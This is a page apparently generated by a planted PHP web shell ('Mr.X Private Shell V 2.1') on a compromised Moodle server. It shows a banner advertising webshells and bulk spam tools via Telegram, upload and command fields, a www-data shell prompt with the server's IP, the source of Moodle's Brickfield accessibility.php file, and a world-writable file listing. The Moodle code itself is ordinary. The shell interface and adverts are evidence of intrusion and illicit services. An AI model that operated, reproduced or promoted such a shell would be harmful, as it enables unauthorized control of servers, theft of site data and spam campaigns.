__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace tool_brickfield;

use context_system;
use moodle_exception;
use moodle_url;
use stdClass;
use tool_brickfield\local\tool\filter;

/**
 * Provides the Brickfield Accessibility toolkit API.
 *
 * @package    tool_brickfield
 * @copyright  2020 onward Brickfield Education Labs Ltd, https://www.brickfield.ie
 * @author     Mike Churchward (mike@brickfieldlabs.ie)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class accessibility {

    /** @var string The component sub path */
    private static $pluginpath = 'tool/brickfield';

    /** @var string Supported format of topics */
    const TOOL_BRICKFIELD_FORMAT_TOPIC = 'topics';

    /** @var string Supported format of weeks */
    const TOOL_BRICKFIELD_FORMAT_WEEKLY = 'weeks';

    /**
     * Return the state of the site enable condition.
     * @return bool
     */
    public static function is_accessibility_enabled(): bool {
        global $CFG;

        return !empty($CFG->enableaccessibilitytools);
    }

    /**
     * Throw an error if the toolkit is not enabled.
     * @return bool
     * @throws moodle_exception
     */
    public static function require_accessibility_enabled(): bool {
        if (!static::is_accessibility_enabled()) {
            throw new moodle_exception('accessibilitydisabled', manager::PLUGINNAME);
        }
        return true;
    }

    /**
     * Get a URL for a page within the plugin.
     *
     * This takes into account the value of the admin config value.
     *
     * @param   string $url The URL within the plugin
     * @return  moodle_url
     */
    public static function get_plugin_url(string $url = ''): moodle_url {
        $url = ($url == '') ? 'index.php' : $url;
        $pluginpath = self::$pluginpath;
        return new moodle_url("/admin/{$pluginpath}/{$url}");
    }

    /**
     * Get a file path for a file within the plugin.
     *
     * This takes into account the value of the admin config value.
     *
     * @param   string $path The path within the plugin
     * @return  string
     */
    public static function get_file_path(string $path): string {
        global $CFG;

        return implode(DIRECTORY_SEPARATOR, [$CFG->dirroot, $CFG->admin, self::$pluginpath, $path, ]);
    }

    /**
     * Get the canonicalised name of a capability.
     *
     * @param   string $capability
     * @return  string
     */
    public static function get_capability_name(string $capability): string {
        return self::$pluginpath . ':' . $capability;
    }

    /**
     * Get the relevant title.
     * @param filter $filter
     * @param int $countdata
     * @return string
     * @throws \coding_exception
     * @throws \dml_exception
     * @throws \moodle_exception
     */
    public static function get_title(filter $filter, int $countdata): string {
        global $DB;

        $tmp = new \stdClass();
        $tmp->count = $countdata;
        $langstr = 'title' . $filter->tab . 'partial';

        if ($filter->courseid != 0) {
            $thiscourse = get_fast_modinfo($filter->courseid)->get_course();
            $tmp->name = $thiscourse->fullname;
        } else {
            $langstr = 'title' . $filter->tab . 'all';
        }
        return get_string($langstr, manager::PLUGINNAME, $tmp);
    }

    /**
     * Function to be run periodically according to the scheduled task.
     * Return true if a process was completed. False if no process executed.
     * Finds all unprocessed courses for bulk batch processing and completes them.
     * @param int $batch
     * @return bool
     * @throws \ReflectionException
     * @throws \coding_exception
     * @throws \ddl_exception
     * @throws \ddl_table_missing_exception
     * @throws \dml_exception
     */
    public static function bulk_process_courses_cron(int $batch = 0): bool {
        global $PAGE;

        // Run a registration check.
        if (!(new registration())->validate()) {
            return false;
        }

        if (analysis::is_enabled()) {
            $PAGE->set_context(context_system::instance());
            mtrace("Starting cron for bulk_process_courses");
            // Do regular processing. True if full deployment type isn't selected as well.
            static::bulk_processing($batch);
            mtrace("Ending cron for bulk_process_courses");
            return true;
        } else {
            mtrace('Content analysis is currently disabled in settings.');
            return false;
        }
    }

    /**
     * Bulk processing.
     * @param int $batch
     * @return bool
     */
    protected static function bulk_processing(int $batch = 0): bool {
        manager::check_course_updates();
        mtrace("check_course_updates completed at " . time());
        $recordsprocessed = manager::check_scheduled_areas($batch);
        mtrace("check_scheduled_areas completed at " . time());
        manager::check_scheduled_deletions();
        mtrace("check_scheduled_deletions completed at " . time());
        manager::delete_historical_data();
        mtrace("delete_historical_data completed at " . time());
        return $recordsprocessed;
    }

    /**
     * Function to be run periodically according to the scheduled task.
     * Finds all unprocessed courses for cache processing and completes them.
     */
    public static function bulk_process_caches_cron() {
        global $DB;

        // Run a registration check.
        if (!(new registration())->validate()) {
            return;
        }

        if (analysis::is_enabled()) {
            mtrace("Starting cron for bulk_process_caches");
            // Monitor ongoing caching requests.
            $fields = 'DISTINCT courseid';
            $reruns = $DB->get_records(manager::DB_PROCESS, ['item' => 'cache'], '', $fields);
            foreach ($reruns as $rerun) {
                mtrace("Running rerun caching for Courseid " . $rerun->courseid);
                manager::store_result_summary($rerun->courseid);
                mtrace("rerun cache completed at " . time());
                $DB->delete_records(manager::DB_PROCESS, ['courseid' => $rerun->courseid, 'item' => 'cache']);
            }
            mtrace("Ending cron for bulk_process_caches at " . time());
        } else {
            mtrace('Content analysis is currently disabled in settings.');
        }
    }

    /**
     * This function runs the checks on the html item
     *
     * @param string $html The html string to be analysed; might be NULL.
     * @param int $contentid The content area ID
     * @param int $processingtime
     * @param int $resultstime
     */
    public static function run_check(string $html, int $contentid, int &$processingtime, int &$resultstime) {
        global $DB;

        // Change the limit if 10,000 is not appropriate.
        $bulkrecordlimit = manager::BULKRECORDLIMIT;
        $bulkrecordcount = 0;

        $checkids = static::checkids();
        $checknameids = array_flip($checkids);

        $testname = 'brickfield';

        $stime = time();

        // Swapping in new library.
        $htmlchecker = new local\htmlchecker\brickfield_accessibility($html, $testname, 'string');
        $htmlchecker->run_check();
        $tests = $htmlchecker->guideline->get_tests();
        $report = $htmlchecker->get_report();
        $processingtime += (time() - $stime);

        $records = [];
        foreach ($tests as $test) {
            $records[$test]['count'] = 0;
            $records[$test]['errors'] = [];
        }

        foreach ($report['report'] as $a) {
            if (!isset($a['type'])) {
                continue;
            }
            $type = $a['type'];
            $records[$type]['errors'][] = $a;
            if (!isset($records[$type]['count'])) {
                $records[$type]['count'] = 0;
            }
            $records[$type]['count']++;
        }

        $stime = time();
        $returnchecks = [];
        $errors = [];

        // Build up records for inserting.
        foreach ($records as $key => $rec) {
            $recordres = new stdClass();
            // Handling if checkid is unknown.
            $checkid = (isset($checknameids[$key])) ? $checknameids[$key] : 0;
            $recordres->contentid = $contentid;
            $recordres->checkid = $checkid;
            $recordres->errorcount = $rec['count'];

            // Build error inserts if needed.
            if ($rec['count'] > 0) {
                foreach ($rec['errors'] as $tmp) {
                    $error = new stdClass();
                    $error->resultid = 0;
                    $error->linenumber = $tmp['lineNo'];
                    $error->htmlcode = $tmp['html'];
                    $error->errordescription = $tmp['title'];
                    // Add contentid and checkid so that we can query for the results record id later.
                    $error->contentid = $contentid;
                    $error->checkid = $checkid;
                    $errors[] = $error;
                }
            }
            $returnchecks[] = $recordres;
            $bulkrecordcount++;

            // If we've hit the bulk limit, write the results records and reset.
            if ($bulkrecordcount > $bulkrecordlimit) {
                $DB->insert_records(manager::DB_RESULTS, $returnchecks);
                $bulkrecordcount = 0;
                $returnchecks = [];
                // Get the results id value for each error record and write the errors.
                foreach ($errors as $key2 => $error) {
                    $errors[$key2]->resultid = $DB->get_field(manager::DB_RESULTS, 'id',
                        ['contentid' => $error->contentid, 'checkid' => $error->checkid]);
                    unset($errors[$key2]->contentid);
                    unset($errors[$key2]->checkid);
                }
                $DB->insert_records(manager::DB_ERRORS, $errors);
                $errors = [];
            }
        }

        // Write any leftover records.
        if ($bulkrecordcount > 0) {
            $DB->insert_records(manager::DB_RESULTS, $returnchecks);
            // Get the results id value for each error record and write the errors.
            foreach ($errors as $key => $error) {
                $errors[$key]->resultid = $DB->get_field(manager::DB_RESULTS, 'id',
                    ['contentid' => $error->contentid, 'checkid' => $error->checkid]);
                unset($errors[$key]->contentid);
                unset($errors[$key]->checkid);
            }
            $DB->insert_records(manager::DB_ERRORS, $errors);
        }

        $resultstime += (time() - $stime);
    }

    /**
     * This function runs one specified check on the html item
     *
     * @param string|null $html The html string to be analysed; might be NULL.
     * @param int $contentid The content area ID
     * @param int $errid The error ID
     * @param string $check The check name to run
     * @param int $processingtime
     * @param int $resultstime
     * @throws \coding_exception
     * @throws \dml_exception
     */
    public static function run_one_check(
        ?string $html,
        int $contentid,
        int $errid,
        string $check,
        int &$processingtime,
        int &$resultstime
    ) {
        global $DB;

        $stime = time();

        $checkdata = $DB->get_record(manager::DB_CHECKS, ['shortname' => $check], 'id,shortname,severity');

        $testname = 'brickfield';

        // Swapping in new library.
        $htmlchecker = new local\htmlchecker\brickfield_accessibility($html, $testname, 'string');
        $htmlchecker->run_check();
        $report = $htmlchecker->get_test($check);
        $processingtime += (time() - $stime);

        $record = [];
        $record['count'] = 0;
        $record['errors'] = [];

        foreach ($report as $a) {
            $a->html = $a->get_html();
            $record['errors'][] = $a;
            $record['count']++;
        }

        // Build up record for inserting.
        $recordres = new stdClass();
        // Handling if checkid is unknown.
        $checkid = (isset($checkdata->id)) ? $checkdata->id : 0;
        $recordres->contentid = $contentid;
        $recordres->checkid = $checkid;
        $recordres->errorcount = $record['count'];
        if ($exists = $DB->get_record(manager::DB_RESULTS, ['contentid' => $contentid, 'checkid' => $checkid])) {
            $resultid = $exists->id;
            $DB->set_field(manager::DB_RESULTS, 'errorcount', $record['count'], ['id' => $resultid]);
            // Remove old error records for specific resultid, if existing.
            $DB->delete_records(manager::DB_ERRORS, ['id' => $errid]);
        } else {
            $resultid = $DB->insert_record(manager::DB_RESULTS, $recordres);
        }
        $errors = [];

        // Build error inserts if needed.
        if ($record['count'] > 0) {
            // Reporting all found errors for this check, so need to ignore existing other error records.
            foreach ($record['errors'] as $tmp) {
                // Confirm if error is reported separately.
                if ($DB->record_exists_select(manager::DB_ERRORS,
                    'resultid = ? AND ' . $DB->sql_compare_text('htmlcode', 255) . ' = ' . $DB->sql_compare_text('?', 255),
                    [$resultid, html_entity_decode($tmp->html, ENT_COMPAT)])) {
                    continue;
                }
                $error = new stdClass();
                $error->resultid = $resultid;
                $error->linenumber = $tmp->line;
                $error->htmlcode = html_entity_decode($tmp->html, ENT_COMPAT);
                $errors[] = $error;
            }

            $DB->insert_records(manager::DB_ERRORS, $errors);
        }

        $resultstime += (time() - $stime);
    }

    /**
     * Returns all of the id's and shortnames of all of the checks.
     * @param int $status
     * @return array
     * @throws \dml_exception
     */
    public static function checkids(int $status = 1): array {
        global $DB;

        $checks = $DB->get_records_menu(manager::DB_CHECKS, ['status' => $status], 'id ASC', 'id,shortname');
        return $checks;
    }

    /**
     * Returns an array of translations from htmlchecker of all of the checks, and their descriptions.
     * @return array
     * @throws \dml_exception
     */
    public static function get_translations(): array {
        global $DB;

        $htmlchecker = new local\htmlchecker\brickfield_accessibility('test', 'brickfield', 'string');
        $htmlchecker->run_check();
        ksort($htmlchecker->guideline->translations);

        // Need to limit to active checks.
        $activechecks = $DB->get_fieldset_select(manager::DB_CHECKS, 'shortname', 'status = :status', ['status' => 1]);

        $translations = [];
        foreach ($htmlchecker->guideline->translations as $key => $trans) {
            if (in_array($key, $activechecks)) {
                $translations[$key] = $trans;
            }
        }

        return $translations;
    }

    /**
     * Returns an array of all of the course id's for a given category.
     * @param int $categoryid
     * @return array|null
     * @throws \dml_exception
     */
    public static function get_category_courseids(int $categoryid): ?array {
        global $DB;

        if (!$DB->record_exists('course_categories', ['id' => $categoryid])) {
            return null;
        }

        $sql = "SELECT {course}.id
              FROM {course}, {course_categories}
             WHERE {course}.category = {course_categories}.id
               AND (
                " . $DB->sql_like('path', ':categoryid1') . "
             OR " . $DB->sql_like('path', ':categoryid2') . "
        )";
        $params = ['categoryid1' => "%/$categoryid/%", 'categoryid2' => "%/$categoryid"];
        $courseids = $DB->get_fieldset_sql($sql, $params);

        return $courseids;
    }

    /**
     * Get summary data for this site.
     * @param int $id
     * @return \stdClass
     * @throws \dml_exception
     */
    public static function get_summary_data(int $id): \stdClass {
        global $CFG, $DB;

        $summarydata = new \stdClass();
        $summarydata->siteurl = (substr($CFG->wwwroot, -1) !== '/') ? $CFG->wwwroot . '/' : $CFG->wwwroot;
        $summarydata->moodlerelease = (preg_match('/^(\d+\.\d.*?)[. ]/', $CFG->release, $matches)) ? $matches[1] : $CFG->release;
        $summarydata->numcourses = $DB->count_records('course') - 1;
        $summarydata->numusers = $DB->count_records('user', array('deleted' => 0));
        $summarydata->numfiles = $DB->count_records('files');
        $summarydata->numfactivities = $DB->count_records('course_modules');
        $summarydata->mobileservice = (int)$CFG->enablemobilewebservice === 1 ? true : false;
        $summarydata->usersmobileregistered = $DB->count_records('user_devices');
        $summarydata->contenttyperesults = static::get_contenttyperesults($id);
        $summarydata->contenttypeerrors = static::get_contenttypeerrors();
        $summarydata->percheckerrors = static::get_percheckerrors();
        return $summarydata;
    }

    /**
     * Get content type results.
     * @param int $id
     * @return \stdClass
     */
    private static function get_contenttyperesults(int $id): \stdClass {
        global $DB;
        $sql = 'SELECT component, COUNT(id) AS count
                  FROM {' . manager::DB_AREAS . '}
              GROUP BY component';
        $components = $DB->get_recordset_sql($sql);
        $contenttyperesults = new \stdClass();
        $contenttyperesults->id = $id;
        $contenttyperesults->contenttype = new \stdClass();
        foreach ($components as $component) {
            $componentname = $component->component;
            $contenttyperesults->contenttype->$componentname = $component->count;
        }
        $components->close();
        $contenttyperesults->summarydatastorage = static::get_summary_data_storage();
        $contenttyperesults->datachecked = time();
        return $contenttyperesults;
    }


    /**
     * Get per check errors.
     * @return stdClass
     * @throws dml_exception
     */
    private static function get_percheckerrors(): stdClass {
        global $DB;

        $sql = 'SELECT ' . $DB->sql_concat_join("'_'", ['courseid', 'checkid']) . ' as tmpid,
                       ca.courseid, ca.status, ca.checkid, ch.shortname, ca.checkcount, ca.errorcount
                  FROM {' . manager::DB_CACHECHECK . '} ca
            INNER JOIN {' . manager::DB_CHECKS . '} ch on ch.id = ca.checkid
              ORDER BY courseid, checkid ASC';

        $combo = $DB->get_records_sql($sql);

        return (object) [
            'percheckerrors' => $combo,
        ];
    }

    /**
     * Get content type errors.
     * @return stdClass
     * @throws dml_exception
     */
    private static function get_contenttypeerrors(): stdClass {
        global $DB;

        $fields = 'courseid, status, activities, activitiespassed, activitiesfailed,
                    errorschecktype1, errorschecktype2, errorschecktype3, errorschecktype4,
                    errorschecktype5, errorschecktype6, errorschecktype7,
                    failedchecktype1, failedchecktype2, failedchecktype3, failedchecktype4,
                    failedchecktype5, failedchecktype6, failedchecktype7,
                    percentchecktype1, percentchecktype2, percentchecktype3, percentchecktype4,
                    percentchecktype5, percentchecktype6, percentchecktype7';
        $combo = $DB->get_records(manager::DB_SUMMARY, null, 'courseid ASC', $fields);

        return (object) [
            'typeerrors' => $combo,
        ];
    }

    /**
     * Get summary data storage.
     * @return array
     * @throws dml_exception
     */
    private static function get_summary_data_storage(): array {
        global $DB;

        $fields = $DB->sql_concat_join("''", ['component', 'courseid']) . ' as tmpid,
                 courseid, component, errorcount, totalactivities, failedactivities, passedactivities';
        $combo = $DB->get_records(manager::DB_CACHEACTS, null, 'courseid, component ASC', $fields);
        return $combo;
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
task Folder 0777
accessibility.php File 20.42 KB 0777
analysis.php File 2.85 KB 0777
area_base.php File 7.14 KB 0777
brickfieldconnect.php File 7.87 KB 0777
eventobservers.php File 16.75 KB 0777
manager.php File 32.98 KB 0777
registration.php File 17.77 KB 0777
scheduler.php File 11.19 KB 0777
sitedata.php File 7.3 KB 0777
Filemanager